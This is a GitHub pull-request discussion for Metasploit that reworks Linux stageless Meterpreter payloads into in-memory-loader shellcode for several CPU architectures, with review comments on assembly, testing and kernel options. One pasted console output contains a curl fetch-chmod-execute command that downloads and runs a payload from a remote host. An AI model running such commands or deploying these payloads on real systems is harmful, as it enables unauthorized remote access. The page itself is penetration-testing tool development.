- 
                Notifications
    
You must be signed in to change notification settings  - Fork 14.6k
 
Fix Linux Stageless Payload to be Shellcodes #19799
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Conversation
b3f3b8c    to
    128ac84      
    Compare
  
    | 
           This makes a lot of sense- my only complaint is that we need to comment the asm a lot more, especially when you're doing shenanigans. 😆  | 
    
| 
           Also, what are you using to test this? Do you have a elf that supports injection, or are you only testing by creating an elf stager from the shellcode?  | 
    
          
 I generated ELF file using   | 
    
        
          
                modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb
              
                Outdated
          
            Show resolved
            Hide resolved
        
      2025792    to
    56c4506      
    Compare
  
    There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Minor cheat sheet additions
| size_l = size & 0x0000ffff | ||
| in_memory_loader = [ | ||
| # "call" 0x1004, address of the next instruction is stored in $ra | ||
| 0x04110000, # 0x1000: bal 0x1004 0x04110000 | 
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
For my own curiosity:
In the ARM and AMD64 assembly, you're doing the memfd_create before hopping to the end and calling a branch and link, so the return address is after our shellcode.
In MIPS you're doing the branch and link before the memfd_create, giving a return address before our shellcode.
In PPC, you're doing the branch and link before the memfd_create, but the RA is still after everything, so the RA is again at the end of our shellcode.
Is there a reason to have the RA point to the beginning, middle, or end of shellcode based on architecture?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
With MIPS I was having some issues doing it in the canonical way (which I would consider the the x64 one), also before the changes to execveat I was using the $ra to do the itoa first and than adding +2 to point to the start of the ELF on the end of the shellcode, so it really didn't matter where it was pointing first as I had anyway to do some offset manipulation, if you think is a blocker we can standardize it. by looking at other shellcodes/stubs in framework i really doubt anybody will ever contribute to them but I am open to make the the code more standardize if you think is worth it
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Not a blocker at all- I just noticed a difference and did not know why it would make a difference, so I figured I'd ask.
| app << appends_map.fetch(name) if datastore[name] | ||
| end | ||
| if ds['MeterpreterLinuxMinKernel'] == '2.6+' && (!pre.empty? || !app.empty?) && !staged? | ||
| print_warning('Prepends options only works with MeterpreterLinuxMinKernel = 3.17+.') | 
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
| print_warning('Prepends options only works with MeterpreterLinuxMinKernel = 3.17+.') | |
| print_warning('Prepend options only work with MeterpreterLinuxMinKernel = 3.17+.') | 
          x64 | 
    
          AARCH64 | 
    
          ARMLE | 
    
          MIPSLEThis fails with segfault. I'm running it on a router, so I cannot get GDB installed, but gdb server works. Linux version: EDIT  | 
    
5192b65    to
    0407bb7      
    Compare
  
    
          
 It's causing segfault on this instruction: So the issue is with Meterpreter itself - on qemu, it seems to be working though. UPDATE:  | 
    
…ning on prepends usage
c0b3f51    to
    38b63f5      
    Compare
  
    | # | ||
| # Linux ppc prepends | ||
| # | ||
| module Msf::Payload::Linux::Mipsle::Prepends | 
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I am, in fact, crazy
        
          
                lib/msf/util/exe.rb
              
                Outdated
          
        
      | 
               | 
          ||
| # XXX: Add remaining AARCH64 systems here | ||
| end | ||
| if arch.index(ARCH_PPC) && plat.index(Msf::Module::Platform::OSX) | 
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
If we are going to remove the PPC, do we need the ppc files in here?  We have templates, prepends, payloads, and a loader in this PR?
Also, it might be a good idea to change the error message above, since the problem is not that we don't support the arch or platform, we don't support the Minimum kernel level:
msf payload(cmd/linux/http/ppc/meterpreter_reverse_tcp) > set PayloadLinuxMinKernel 3.17+ 
PayloadLinuxMinKernel => 3.17+
msf payload(cmd/linux/http/ppc/meterpreter_reverse_tcp) > to_handler
[-] Exploit failed: Failed to generate an executable payload due to an invalid platform or arch.
msf payload(cmd/linux/http/ppc/meterpreter_reverse_tcp) > set PayloadLinuxMinKernel 2.6+ 
PayloadLinuxMinKernel => 2.6+
msf payload(cmd/linux/http/ppc/meterpreter_reverse_tcp) > to_handler
[*] Command to run on remote host: curl -so ./loAlOlFnqst http://10.5.135.201:8080/JY-6pdFD6VFwW21Ds-tzNQ;chmod +x ./loAlOlFnqst;./loAlOlFnqst&
        
          
                modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb
              
                Outdated
          
            Show resolved
            Hide resolved
        
              
          
                modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb
              
                Outdated
          
            Show resolved
            Hide resolved
        
              
          
                modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb
              
                Outdated
          
            Show resolved
            Hide resolved
        
      
           | 
    
| 
           @bwatters-r7 we are going to replace   | 
    

This PR Fixes the issue of linux stageless meterpreter.
Issue: #19670
Issue Description
The stageless linux meterpreters are ELF files that cannot be used as standard stageless shellcode payload.
Staged vs Stageless Linux Meterpreter
Staged
The Linux staged meterpreter is divided in 3 component
e_entryof the ELFThis version of the ELF is generated when we build mettle using the following tool: elf2bin
Stageless
The stageless mettle payload is the ELF file (standard elf) with the patched args.
Code Handling Staged vs Stageless
Mettle main.c
Solution
For each architecture, a shellcode implementing this technique was made.
NOTE: This technique works only with Kernel >= 3.17
Instead of delivering the ELF only, the raw shellcode will be composed by the
in-memory-loaderarch specific shellcode and the elf file at the end of it.Super thanks to @msutovsky-r7
What architectures fix this pr:
linux/x86linux/x64linux/armlelinux/armbe(emulated)linux/aarch64linux/mipslinux/mipsel(to check device avaiability)linux/mips64(find target with kernel 3.17 / updated one of the targets)linux/ppc( to be removed)linux/ppc64le(emulated)linux/ppce500v2linux/zarch(emulated)What is inside the PR and How to test it
<arch>/in_memory_loader.rbinclude the architecture specific shellcode to be prepended to the ELF binary.<arch>/prepends.rbmixin for the missing architectures.2.6or to3.17kernels.2.6.meterpreter_reverse.erbtemplate for payload generation.What to test
MeterpreterLinuxMinKernelis2.6+is the same as beforeMeterpreterLinuxMinKernelis3.17is using the correct ELF template and is executed on a compatible target.MeterpreterLinuxMinKernelis3.17otherwise a warning is showed.